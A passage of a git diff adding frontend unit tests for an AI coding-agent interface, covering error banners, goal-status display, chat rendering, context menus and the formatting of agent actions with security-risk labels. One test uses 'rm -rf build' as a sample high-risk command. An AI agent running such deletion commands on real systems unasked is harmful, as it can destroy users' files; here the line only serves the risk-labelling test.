+ const longMessage = `first line\n${"long error detail ".repeat(40)}`;
+ const writeText = vi.fn().mockResolvedValue(undefined);
+ vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText);
+
+ render( );
+
+ await user.click(screen.getByTestId("error-message-banner-copy"));
+
+ expect(writeText).toHaveBeenCalledWith(longMessage);
+ await waitFor(() =>
+ expect(
+ screen.getByTestId("error-message-banner-copy"),
+ ).toHaveAccessibleName("BUTTON$COPIED"),
+ );
+ });
+
+ it("shows an error toast when the copy button cannot write to the clipboard", async () => {
+ const user = userEvent.setup();
+ const writeText = vi.fn().mockRejectedValue(new Error("denied"));
+ vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText);
+
+ render( );
+
+ await user.click(screen.getByTestId("error-message-banner-copy"));
+
+ expect(writeText).toHaveBeenCalledWith("copy failed");
+ expect(toastMocks.displayErrorToast).toHaveBeenCalledWith(
+ "CHAT_INTERFACE$CHAT_MESSAGE_COPY_FAILED",
+ );
+ expect(
+ screen.getByTestId("error-message-banner-copy"),
+ ).toHaveAccessibleName("BUTTON$COPY");
+ });
+
+ it("renders a code-specific header for a known ACP error code", () => {
+ render(
+ ,
+ );
+
+ const header = screen.getByTestId("error-message-banner-header");
+ expect(header).toHaveTextContent("ERROR$ACP_AUTH_REQUIRED_TITLE");
+ // The detail is still shown verbatim below the header.
+ expect(
+ screen.getByTestId("error-message-banner-content"),
+ ).toHaveTextContent("invalid x-api-key");
+ });
+
+ it("renders no header for an unknown or absent code", () => {
+ render( );
+ expect(
+ screen.queryByTestId("error-message-banner-header"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows a re-auth action and calls onReauth when provided", async () => {
+ const user = userEvent.setup();
+ const onReauth = vi.fn();
+
+ render(
+ ,
+ );
+
+ const reauth = screen.getByTestId("error-message-banner-reauth");
+ expect(reauth).toHaveTextContent("ERROR$ACP_UPDATE_CREDENTIALS");
+ await user.click(reauth);
+ expect(onReauth).toHaveBeenCalledTimes(1);
+ });
+
+ it("omits the re-auth action when onReauth is not provided", () => {
+ render( );
+ expect(
+ screen.queryByTestId("error-message-banner-reauth"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/chat/goal-status-banner.test.tsx b/__tests__/components/chat/goal-status-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9c51cfd01baa54b99de50edec79ddb50280f80d2
--- /dev/null
+++ b/__tests__/components/chat/goal-status-banner.test.tsx
@@ -0,0 +1,54 @@
+import { render, screen } from "@testing-library/react";
+import { beforeEach, describe, expect, it } from "vitest";
+import { GoalStatusBanner } from "#/components/features/chat/goal-status-banner";
+import { useGoalStore } from "#/stores/goal-store";
+import { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event";
+
+const CONV = "conv-1";
+
+const makeStatus = (overrides: Partial = {}): GoalStatus => ({
+ active: true,
+ status: "running",
+ iteration: 1,
+ max_iterations: 10,
+ objective: "make pytest pass",
+ verdict: null,
+ ...overrides,
+});
+
+describe(" ", () => {
+ beforeEach(() => {
+ useGoalStore.setState({ statusByConversation: {} });
+ });
+
+ it("renders nothing when there is no goal status", () => {
+ const { container } = render( );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders the live banner while the loop is active", () => {
+ useGoalStore.getState().setStatus(CONV, makeStatus());
+ render( );
+ expect(screen.getByTestId("goal-status")).toBeInTheDocument();
+ expect(screen.getByTestId("goal-spinner")).toBeInTheDocument();
+ });
+
+ it("renders nothing once the loop ends (the terminal status renders inline)", () => {
+ useGoalStore.getState().setStatus(
+ CONV,
+ makeStatus({
+ active: false,
+ status: "complete",
+ verdict: { score: 1, complete: true, missing: "" },
+ }),
+ );
+ const { container } = render( );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("does not render a status from another conversation", () => {
+ useGoalStore.getState().setStatus("other", makeStatus());
+ const { container } = render( );
+ expect(container).toBeEmptyDOMElement();
+ });
+});
diff --git a/__tests__/components/chat/goal-status-content.test.tsx b/__tests__/components/chat/goal-status-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..979f9b4be5a5b34b618c072db8f5edaf28f62c1e
--- /dev/null
+++ b/__tests__/components/chat/goal-status-content.test.tsx
@@ -0,0 +1,78 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { GoalStatusContent } from "#/components/features/chat/goal-status-content";
+import { I18nKey } from "#/i18n/declaration";
+import { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event";
+
+const makeStatus = (overrides: Partial = {}): GoalStatus => ({
+ active: true,
+ status: "running",
+ iteration: 1,
+ max_iterations: 10,
+ objective: "make pytest pass",
+ verdict: null,
+ ...overrides,
+});
+
+describe(" ", () => {
+ it("shows the objective and a spinner while running", () => {
+ render( );
+ expect(screen.getByText("make pytest pass")).toBeInTheDocument();
+ expect(screen.getByTestId("goal-spinner")).toBeInTheDocument();
+ expect(screen.queryByTestId("goal-done")).toBeNull();
+ expect(screen.queryByTestId("goal-ended")).toBeNull();
+ });
+
+ it("shows a green check when complete", () => {
+ render(
+ ,
+ );
+ expect(screen.getByTestId("goal-done")).toBeInTheDocument();
+ expect(screen.queryByTestId("goal-spinner")).toBeNull();
+ expect(screen.queryByTestId("goal-ended")).toBeNull();
+ });
+
+ it("shows a muted cross, not a check, when it ends without completing", () => {
+ render(
+ ,
+ );
+ expect(screen.getByTestId("goal-ended")).toBeInTheDocument();
+ expect(screen.queryByTestId("goal-done")).toBeNull();
+ });
+
+ it("expands the judge's missing note for a terminal status", () => {
+ render(
+ ,
+ );
+ expect(screen.getByText(I18nKey.GOAL$MISSING)).toBeInTheDocument();
+ });
+
+ it("keeps the missing note collapsed while running", () => {
+ render(
+ ,
+ );
+ expect(screen.queryByText(I18nKey.GOAL$MISSING)).toBeNull();
+ });
+});
diff --git a/__tests__/components/chat/message-display-continuity.test.tsx b/__tests__/components/chat/message-display-continuity.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..44f1e0ec16c9de1ccb75411aaa2075fe14e20a03
--- /dev/null
+++ b/__tests__/components/chat/message-display-continuity.test.tsx
@@ -0,0 +1,261 @@
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { QueryClient } from "@tanstack/react-query";
+import { MemoryRouter, Route, Routes } from "react-router";
+import { render } from "@testing-library/react";
+import { QueryClientProvider } from "@tanstack/react-query";
+import { useParamsMock, createUserMessageEvent } from "test-utils";
+import { ChatInterface } from "#/components/features/chat/chat-interface";
+import {
+ useConversationId,
+ useOptionalConversationId,
+} from "#/hooks/use-conversation-id";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useConversationWebSocket } from "#/contexts/conversation-websocket-context";
+import { useConfig } from "#/hooks/query/use-config";
+import { useUnifiedUploadFiles } from "#/hooks/mutation/use-unified-upload-files";
+import { useEventStore } from "#/stores/use-event-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+
+// Module-level mocks
+vi.mock("#/hooks/query/use-config");
+vi.mock("#/hooks/mutation/use-unified-upload-files");
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useConversationId: vi.fn(),
+ useOptionalConversationId: vi.fn(),
+}));
+vi.mock("#/hooks/query/use-active-conversation");
+vi.mock("#/contexts/conversation-websocket-context");
+
+vi.mock("#/hooks/use-user-providers", () => ({
+ useUserProviders: () => ({
+ providers: [],
+ }),
+}));
+
+vi.mock("#/hooks/use-conversation-name-context-menu", () => ({
+ useConversationNameContextMenu: () => ({
+ isOpen: false,
+ contextMenuRef: { current: null },
+ handleContextMenu: vi.fn(),
+ handleClose: vi.fn(),
+ handleRename: vi.fn(),
+ handleDelete: vi.fn(),
+ }),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: vi.fn(() => ({
+ curAgentState: AgentState.AWAITING_USER_INPUT,
+ })),
+ usePlanningAgentState: vi.fn(() => ({
+ localPlanningConversationId: null,
+ curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+ isPlanningAgentRunning: false,
+ })),
+}));
+
+vi.mock("#/components/features/chat/btw-messages", () => ({
+ BtwMessages: () =>
,
+}));
+
+vi.mock("#/components/features/chat/chat-suggestions", () => ({
+ ChatSuggestions: () =>
,
+}));
+
+vi.mock("#/components/features/chat/interactive-chat-box", () => ({
+ InteractiveChatBox: () =>
,
+}));
+
+vi.mock("#/components/shared/buttons/scroll-to-bottom-button", () => ({
+ ScrollToBottomButton: () => Scroll to bottom ,
+}));
+
+vi.mock("#/components/conversation-events/chat", async (importOriginal) => ({
+ ...(await importOriginal<
+ typeof import("#/components/conversation-events/chat")
+ >()),
+ Messages: () =>
,
+}));
+
+// Helper to render with QueryClient and route params
+const renderWithQueryClient = (
+ ui: React.ReactElement,
+ queryClient: QueryClient,
+ route = "/test-conversation-id",
+) =>
+ render(
+
+
+
+
+
+
+
+ ,
+ );
+
+describe("ChatInterface – message display continuity (spec 3.1)", () => {
+ let queryClient: QueryClient;
+
+ beforeEach(() => {
+ queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+
+ useParamsMock.mockReturnValue({ conversationId: "test-conversation-id" });
+ vi.mocked(useConversationId).mockReturnValue({
+ conversationId: "test-conversation-id",
+ });
+ vi.mocked(useOptionalConversationId).mockReturnValue({
+ conversationId: "test-conversation-id",
+ });
+
+ useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+
+ (useConfig as unknown as ReturnType).mockReturnValue({
+ data: { app_mode: "local" },
+ });
+ (
+ useUnifiedUploadFiles as unknown as ReturnType
+ ).mockReturnValue({
+ mutateAsync: vi
+ .fn()
+ .mockResolvedValue({ skipped_files: [], uploaded_files: [] }),
+ isLoading: false,
+ });
+
+ // Default: no active conversation
+ vi.mocked(useActiveConversation).mockReturnValue({
+ data: undefined,
+ } as ReturnType);
+
+ // Default: no websocket context
+ vi.mocked(useConversationWebSocket).mockReturnValue(null);
+ });
+
+ describe("conversations", () => {
+ beforeEach(() => {
+ // Set up conversation
+ vi.mocked(useActiveConversation).mockReturnValue({
+ data: {},
+ } as ReturnType);
+ });
+
+ it("shows messages immediately when agent-server events exist in store, even while loading", () => {
+ // Simulate: history is loading but events already exist in store (e.g., remount)
+ vi.mocked(useConversationWebSocket).mockReturnValue({
+ isLoadingHistory: true,
+ connectionState: "OPEN",
+ mainConnectionState: "OPEN",
+ sendMessage: vi.fn(),
+ reconnect: vi.fn(),
+ });
+
+ // Put agent-server user events in the store
+ const userEvent = createUserMessageEvent("evt-1");
+ useEventStore.setState({
+ events: [userEvent],
+ eventIds: new Set(["evt-1"]),
+ uiEvents: [userEvent],
+ });
+
+ renderWithQueryClient( , queryClient);
+
+ // AC1: Messages should display immediately without the full history
+ // skeleton, even if the lazy older-events pagination spinner appears.
+ expect(
+ screen.queryByTestId("chat-messages-skeleton"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-messages") ??
+ screen.queryByTestId("user-message"),
+ ).not.toBeNull();
+ });
+
+ it("shows skeleton when store is empty and loading", () => {
+ // Simulate: first load, no events yet
+ vi.mocked(useConversationWebSocket).mockReturnValue({
+ isLoadingHistory: true,
+ connectionState: "OPEN",
+ mainConnectionState: "OPEN",
+ sendMessage: vi.fn(),
+ reconnect: vi.fn(),
+ });
+
+ // Store is empty
+ useEventStore.setState({
+ events: [],
+ eventIds: new Set(),
+ uiEvents: [],
+ });
+
+ renderWithQueryClient( , queryClient);
+
+ // AC5: Genuine first-load shows skeleton
+ expect(screen.getByTestId("chat-messages-skeleton")).toBeInTheDocument();
+ });
+
+ it("hides skeleton when a pending user message is visible during history load", () => {
+ vi.mocked(useConversationWebSocket).mockReturnValue({
+ isLoadingHistory: true,
+ connectionState: "OPEN",
+ mainConnectionState: "OPEN",
+ sendMessage: vi.fn(),
+ reconnect: vi.fn(),
+ });
+
+ useEventStore.setState({
+ events: [],
+ eventIds: new Set(),
+ uiEvents: [],
+ });
+
+ useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+ conversationId: "test-conversation-id",
+ text: "hello from home",
+ });
+
+ renderWithQueryClient( , queryClient);
+
+ expect(
+ screen.queryByTestId("chat-messages-skeleton"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("user-message")).toHaveTextContent(
+ "hello from home",
+ );
+ });
+
+ it("shows messages when loading is already false on mount (edge case)", () => {
+ // Simulate: component re-mounts when WebSocket has already finished loading
+ vi.mocked(useConversationWebSocket).mockReturnValue({
+ isLoadingHistory: false,
+ connectionState: "OPEN",
+ mainConnectionState: "OPEN",
+ sendMessage: vi.fn(),
+ reconnect: vi.fn(),
+ });
+
+ // agent-server events in store
+ const userEvent = createUserMessageEvent("evt-2");
+ useEventStore.setState({
+ events: [userEvent],
+ eventIds: new Set(["evt-1"]),
+ uiEvents: [userEvent],
+ });
+
+ renderWithQueryClient( , queryClient);
+
+ // Messages should display without the full history skeleton.
+ expect(
+ screen.queryByTestId("chat-messages-skeleton"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-messages") ??
+ screen.queryByTestId("user-message"),
+ ).not.toBeNull();
+ });
+ });
+});
diff --git a/__tests__/components/context-menu/context-menu-list-item.test.tsx b/__tests__/components/context-menu/context-menu-list-item.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ffedba06e13d5fe0acdd84fd6423820ee2db0d55
--- /dev/null
+++ b/__tests__/components/context-menu/context-menu-list-item.test.tsx
@@ -0,0 +1,44 @@
+import { describe, it, expect, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { ContextMenuListItem } from "#/components/features/context-menu/context-menu-list-item";
+
+describe("ContextMenuListItem", () => {
+ it("should render the component with the children", () => {
+ const onClickMock = vi.fn();
+ render(
+ Test ,
+ );
+
+ expect(screen.getByTestId("context-menu-list-item")).toBeInTheDocument();
+ expect(screen.getByText("Test")).toBeInTheDocument();
+ });
+
+ it("should call the onClick callback when clicked", async () => {
+ const user = userEvent.setup();
+ const onClickMock = vi.fn();
+ render(
+ Test ,
+ );
+
+ const element = screen.getByTestId("context-menu-list-item");
+ await user.click(element);
+
+ expect(onClickMock).toHaveBeenCalledOnce();
+ });
+
+ it("should not call the onClick callback when clicked and the button is disabled", async () => {
+ const user = userEvent.setup();
+ const onClickMock = vi.fn();
+ render(
+
+ Test
+ ,
+ );
+
+ const element = screen.getByTestId("context-menu-list-item");
+ await user.click(element);
+
+ expect(onClickMock).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/context-menu/tools-context-menu.test.tsx b/__tests__/components/context-menu/tools-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ab5f748d1a38ed5ed03b2a20a54e4cf409f167a7
--- /dev/null
+++ b/__tests__/components/context-menu/tools-context-menu.test.tsx
@@ -0,0 +1,126 @@
+import { describe, it, expect, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import React from "react";
+import { adaptSystemMessage } from "#/utils/system-message-adapter";
+import { EventState } from "#/stores/use-event-store";
+import { SystemMessageModal } from "#/components/features/conversation-panel/system-message-modal";
+import { ToolsContextMenu } from "#/components/features/controls/tools-context-menu";
+
+const v1Event: EventState["events"] = [
+ {
+ id: "v1-id",
+ timestamp: "2025-12-30T12:00:00Z",
+ source: "agent",
+ system_prompt: {
+ type: "text",
+ text: "v1 prompt",
+ },
+ tools: [
+ {
+ type: "function",
+ function: {
+ name: "bash",
+ description: "Execute bash",
+ parameters: {},
+ },
+ },
+ ],
+ },
+];
+
+const adaptedResult = adaptSystemMessage(v1Event);
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({ data: { conversation_version: "V1" } }),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+ useUserProviders: () => ({ providers: ["test"] }),
+}));
+
+describe("SystemMessage UI Rendering", () => {
+ it("should render the 'Show Agent Tools' button in the context menu", () => {
+ render(
+ {}}
+ onShowSkills={() => {}}
+ onShowPlugins={() => {}}
+ onShowHooks={() => {}}
+ onShowAgentTools={() => {}}
+ />,
+ );
+
+ expect(screen.getByTestId("show-agent-tools-button")).toBeInTheDocument();
+ });
+
+ it("should display the adapted v1 system prompt content correctly", () => {
+ render(
+ {}}
+ systemMessage={adaptedResult}
+ />,
+ );
+
+ const messageElement = screen.getByText("v1 prompt");
+
+ expect(messageElement).toBeDefined();
+ expect(messageElement).toBeVisible();
+ });
+});
+
+describe("ToolsContextMenu - Switch agent profile", () => {
+ it("hides the Switch agent profile item unless the caller enables it", () => {
+ // The gate (pre-start only + profiles available) is owned by
+ // ChatInputActions; without the prop the item — and its provider-backed
+ // submenu content — must not mount.
+ render(
+ {}}
+ onShowSkills={() => {}}
+ onShowPlugins={() => {}}
+ onShowHooks={() => {}}
+ onShowAgentTools={() => {}}
+ />,
+ );
+
+ expect(
+ screen.queryByTestId("switch-agent-profile-button"),
+ ).not.toBeInTheDocument();
+ });
+});
+
+describe("ToolsContextMenu - Show Plugins", () => {
+ it("renders the Show Plugins item and calls onShowPlugins when clicked", async () => {
+ const onShowPlugins = vi.fn();
+ render(
+ {}}
+ onShowSkills={() => {}}
+ onShowPlugins={onShowPlugins}
+ onShowHooks={() => {}}
+ onShowAgentTools={() => {}}
+ shouldShowPlugins
+ />,
+ );
+
+ await userEvent.click(screen.getByTestId("show-plugins-button"));
+
+ expect(onShowPlugins).toHaveBeenCalledTimes(1);
+ });
+
+ it("hides the Show Plugins item when the conversation has no attached plugins", () => {
+ render(
+ {}}
+ onShowSkills={() => {}}
+ onShowPlugins={() => {}}
+ onShowHooks={() => {}}
+ onShowAgentTools={() => {}}
+ />,
+ );
+
+ expect(screen.queryByTestId("show-plugins-button")).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/action-event-content.test.ts b/__tests__/components/conversation-events/chat/action-event-content.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3867e94ef11af38fdd0d5bc0ef58c16fc5d521a5
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/action-event-content.test.ts
@@ -0,0 +1,491 @@
+import { describe, expect, it } from "vitest";
+import { getActionContent } from "#/components/conversation-events/chat/event-content-helpers/get-action-content";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { Action } from "#/types/agent-server/core/base/action";
+
+const makeActionEvent = (
+ action: Action,
+ securityRisk: SecurityRisk = SecurityRisk.UNKNOWN,
+): ActionEvent => ({
+ id: "action-formatting",
+ timestamp: "2026-07-13T00:00:00.000Z",
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action,
+ tool_name: "test_tool",
+ tool_call_id: "tool-call-formatting",
+ tool_call: {
+ id: "tool-call-formatting",
+ type: "function",
+ function: {
+ name: "test_tool",
+ arguments: "{}",
+ },
+ },
+ llm_response_id: "response-formatting",
+ security_risk: securityRisk,
+});
+
+describe("action event content", () => {
+ describe("terminal commands", () => {
+ it("shows high-risk context with an execute-bash command", () => {
+ const event = makeActionEvent(
+ {
+ kind: "ExecuteBashAction",
+ command: "rm -rf build",
+ is_input: false,
+ timeout: 30,
+ reset: false,
+ },
+ SecurityRisk.HIGH,
+ );
+
+ expect(getActionContent(event)).toBe(
+ "Command:\n`rm -rf build`\n\nSECURITY$HIGH_RISK",
+ );
+ });
+
+ it("shows medium-risk context with a terminal command", () => {
+ const event = makeActionEvent(
+ {
+ kind: "TerminalAction",
+ command: "npm publish",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ SecurityRisk.MEDIUM,
+ );
+
+ expect(getActionContent(event)).toBe(
+ "Command:\n`npm publish`\n\nSECURITY$MEDIUM_RISK",
+ );
+ });
+
+ it("does not add a warning to a low-risk command", () => {
+ const event = makeActionEvent(
+ {
+ kind: "ExecuteBashAction",
+ command: "pwd",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ SecurityRisk.LOW,
+ );
+
+ expect(getActionContent(event)).toBe("Command:\n`pwd`");
+ });
+ });
+
+ describe("file changes", () => {
+ it("shows the destination and contents for a new file", () => {
+ const event = makeActionEvent({
+ kind: "FileEditorAction",
+ command: "create",
+ path: "/workspace/hello.ts",
+ file_text: "export const hello = 'world';",
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ });
+
+ expect(getActionContent(event)).toBe(
+ "/workspace/hello.ts\nexport const hello = 'world';",
+ );
+ });
+
+ it("truncates a long new file after 1,000 characters", () => {
+ const fileText = `${"a".repeat(1_000)}tail`;
+ const event = makeActionEvent({
+ kind: "StrReplaceEditorAction",
+ command: "create",
+ path: "/workspace/large.txt",
+ file_text: fileText,
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ });
+
+ expect(getActionContent(event)).toBe(
+ `/workspace/large.txt\n${"a".repeat(1_000)}...`,
+ );
+ });
+
+ it("preserves a new file containing exactly 1,000 characters", () => {
+ const fileText = "b".repeat(1_000);
+ const event = makeActionEvent({
+ kind: "FileEditorAction",
+ command: "create",
+ path: "/workspace/boundary.txt",
+ file_text: fileText,
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ });
+
+ expect(getActionContent(event)).toBe(
+ `/workspace/boundary.txt\n${fileText}`,
+ );
+ });
+
+ it("does not expose file text for a non-create edit", () => {
+ const event = makeActionEvent({
+ kind: "FileEditorAction",
+ command: "str_replace",
+ path: "/workspace/existing.ts",
+ file_text: "not displayable",
+ old_str: "before",
+ new_str: "after",
+ insert_line: null,
+ view_range: null,
+ });
+
+ expect(getActionContent(event)).toBe("");
+ });
+
+ it("does not render a create action without file contents", () => {
+ const event = makeActionEvent({
+ kind: "StrReplaceEditorAction",
+ command: "create",
+ path: "/workspace/empty.ts",
+ file_text: null,
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ });
+
+ expect(getActionContent(event)).toBe("");
+ });
+ });
+
+ describe("agent narration and tools", () => {
+ it("preserves a thought exactly", () => {
+ const event = makeActionEvent({
+ kind: "ThinkAction",
+ thought: "I should inspect the configuration next.",
+ });
+
+ expect(getActionContent(event)).toBe(
+ "I should inspect the configuration next.",
+ );
+ });
+
+ it("trims surrounding whitespace from a finish message", () => {
+ const event = makeActionEvent({
+ kind: "FinishAction",
+ message: " Everything is ready. \n",
+ });
+
+ expect(getActionContent(event)).toBe("Everything is ready.");
+ });
+
+ it("pretty-prints MCP arguments", () => {
+ const event = makeActionEvent({
+ kind: "MCPToolAction",
+ data: {
+ repository: "OpenHands/agent-canvas",
+ labels: ["tests", "mutation"],
+ },
+ });
+
+ expect(getActionContent(event)).toBe(
+ '**MCP Tool Call**\n\n**Arguments:**\n```json\n{\n "repository": "OpenHands/agent-canvas",\n "labels": [\n "tests",\n "mutation"\n ]\n}\n```',
+ );
+ });
+
+ it("shows an invoked skill name", () => {
+ const event = makeActionEvent({
+ kind: "InvokeSkillAction",
+ name: "mutation-testing",
+ });
+
+ expect(getActionContent(event)).toBe("**Skill:** `mutation-testing`");
+ });
+
+ it("omits content when an invoked skill has no name", () => {
+ const event = makeActionEvent({
+ kind: "InvokeSkillAction",
+ name: "",
+ });
+
+ expect(getActionContent(event)).toBe("");
+ });
+ });
+
+ describe("task plans", () => {
+ it("shows a non-plan task-tracker command without a task list", () => {
+ const event = makeActionEvent({
+ kind: "TaskTrackerAction",
+ command: "view",
+ task_list: [],
+ });
+
+ expect(getActionContent(event)).toBe("**Command:** `view`");
+ });
+
+ it("labels an empty plan", () => {
+ const event = makeActionEvent({
+ kind: "TaskTrackerAction",
+ command: "plan",
+ task_list: [],
+ });
+
+ expect(getActionContent(event)).toBe(
+ "**Command:** `plan`\n\n**Task List:** Empty",
+ );
+ });
+
+ it("formats a single task with its status and notes", () => {
+ const event = makeActionEvent({
+ kind: "TaskTrackerAction",
+ command: "plan",
+ task_list: [
+ {
+ title: "Add focused coverage",
+ notes: "Exercise observable formatting",
+ status: "todo",
+ },
+ ],
+ });
+
+ expect(getActionContent(event)).toBe(
+ "**Command:** `plan`\n\n**Task List (1 item):**\n\n1. ⏳ **[TODO]** Add focused coverage\n *Notes: Exercise observable formatting*",
+ );
+ });
+
+ it("formats multiple statuses and preserves an unknown runtime status", () => {
+ const event = makeActionEvent({
+ kind: "TaskTrackerAction",
+ command: "plan",
+ task_list: [
+ {
+ title: "Run coverage",
+ notes: "",
+ status: "in_progress",
+ },
+ {
+ title: "Run mutation tests",
+ notes: "Record the score",
+ status: "done",
+ },
+ {
+ title: "Review external state",
+ notes: "",
+ status: "blocked",
+ },
+ ],
+ } as unknown as Action);
+
+ expect(getActionContent(event)).toBe(
+ "**Command:** `plan`\n\n**Task List (3 items):**\n\n1. 🔄 **[IN PROGRESS]** Run coverage\n2. ✅ **[DONE]** Run mutation tests\n *Notes: Record the score*\n3. ❓ **[BLOCKED]** Review external state",
+ );
+ });
+ });
+
+ describe("browser actions", () => {
+ it("shows navigation with and without a new tab", () => {
+ const currentTab = makeActionEvent({
+ kind: "BrowserNavigateAction",
+ url: "https://example.com/current",
+ new_tab: false,
+ });
+ const newTab = makeActionEvent({
+ kind: "BrowserNavigateAction",
+ url: "https://example.com/new",
+ new_tab: true,
+ });
+
+ expect(getActionContent(currentTab)).toBe(
+ "Browsing https://example.com/current",
+ );
+ expect(getActionContent(newTab)).toBe(
+ "Browsing https://example.com/new\n**New Tab:** Yes",
+ );
+ });
+
+ it("shows click targets with and without a new tab", () => {
+ const currentTab = makeActionEvent({
+ kind: "BrowserClickAction",
+ index: 17,
+ new_tab: false,
+ });
+ const newTab = makeActionEvent({
+ kind: "BrowserClickAction",
+ index: 23,
+ new_tab: true,
+ });
+
+ expect(getActionContent(currentTab)).toBe("**Element Index:** 17");
+ expect(getActionContent(newTab)).toBe(
+ "**Element Index:** 23\n**New Tab:** Yes",
+ );
+ });
+
+ it("shows short typed text in full", () => {
+ const event = makeActionEvent({
+ kind: "BrowserTypeAction",
+ index: 4,
+ text: "exactly what the user typed",
+ });
+
+ expect(getActionContent(event)).toBe(
+ "**Element Index:** 4\n**Text:** exactly what the user typed",
+ );
+ });
+
+ it("truncates typed text longer than 50 characters", () => {
+ const event = makeActionEvent({
+ kind: "BrowserTypeAction",
+ index: 9,
+ text: `${"x".repeat(50)}tail`,
+ });
+
+ expect(getActionContent(event)).toBe(
+ `**Element Index:** 9\n**Text:** ${"x".repeat(50)}...`,
+ );
+ });
+
+ it("shows typed text containing exactly 50 characters in full", () => {
+ const text = "y".repeat(50);
+ const event = makeActionEvent({
+ kind: "BrowserTypeAction",
+ index: 6,
+ text,
+ });
+
+ expect(getActionContent(event)).toBe(
+ `**Element Index:** 6\n**Text:** ${text}`,
+ );
+ });
+
+ it("shows whether browser state includes a screenshot", () => {
+ const withScreenshot = makeActionEvent({
+ kind: "BrowserGetStateAction",
+ include_screenshot: true,
+ });
+ const withoutScreenshot = makeActionEvent({
+ kind: "BrowserGetStateAction",
+ include_screenshot: false,
+ });
+
+ expect(getActionContent(withScreenshot)).toBe(
+ "**Include Screenshot:** Yes",
+ );
+ expect(getActionContent(withoutScreenshot)).toBe("");
+ });
+
+ it("shows both requested browser-content options", () => {
+ const event = makeActionEvent({
+ kind: "BrowserGetContentAction",
+ extract_links: true,
+ start_from_char: 125,
+ });
+
+ expect(getActionContent(event)).toBe(
+ "**Extract Links:** Yes\n**Start From Character:** 125",
+ );
+ });
+
+ it("omits browser-content options when neither is requested", () => {
+ const event = makeActionEvent({
+ kind: "BrowserGetContentAction",
+ extract_links: false,
+ start_from_char: 0,
+ });
+
+ expect(getActionContent(event)).toBe("");
+ });
+
+ it("shows the scroll direction", () => {
+ const event = makeActionEvent({
+ kind: "BrowserScrollAction",
+ direction: "up",
+ });
+
+ expect(getActionContent(event)).toBe("**Direction:** up");
+ });
+
+ it.each(["BrowserGoBackAction", "BrowserListTabsAction"] as const)(
+ "does not invent details for %s",
+ (kind) => {
+ expect(getActionContent(makeActionEvent({ kind }))).toBe("");
+ },
+ );
+
+ it("identifies the tab being selected", () => {
+ const event = makeActionEvent({
+ kind: "BrowserSwitchTabAction",
+ tab_id: "A1B2",
+ });
+
+ expect(getActionContent(event)).toBe("**Tab ID:** A1B2");
+ });
+
+ it("identifies the tab being closed", () => {
+ const event = makeActionEvent({
+ kind: "BrowserCloseTabAction",
+ tab_id: "C3D4",
+ });
+
+ expect(getActionContent(event)).toBe("**Tab ID:** C3D4");
+ });
+ });
+
+ describe("search actions", () => {
+ it("shows a glob pattern and its search path", () => {
+ const event = makeActionEvent({
+ kind: "GlobAction",
+ pattern: "src/**/*.ts",
+ path: "/workspace/project",
+ });
+
+ expect(getActionContent(event)).toBe(
+ "**Pattern:** `src/**/*.ts`\n**Path:** `/workspace/project`",
+ );
+ });
+
+ it("shows a grep pattern, path, and include filter", () => {
+ const event = makeActionEvent({
+ kind: "GrepAction",
+ pattern: "getActionContent",
+ path: "/workspace/project/src",
+ include: "*.ts",
+ });
+
+ expect(getActionContent(event)).toBe(
+ "**Pattern:** `getActionContent`\n**Path:** `/workspace/project/src`\n**Include:** `*.ts`",
+ );
+ });
+
+ it("omits empty search criteria", () => {
+ const event = makeActionEvent({
+ kind: "GrepAction",
+ pattern: "",
+ path: null,
+ include: null,
+ });
+
+ expect(getActionContent(event)).toBe("");
+ });
+ });
+
+ it("falls back to the complete event JSON for other action kinds", () => {
+ const event = makeActionEvent({
+ kind: "TaskAction",
+ prompt: "Review the mutation report",
+ subagent_type: "general",
+ description: "Review mutation results",
+ resume: null,
+ });
+
+ expect(getActionContent(event)).toBe(
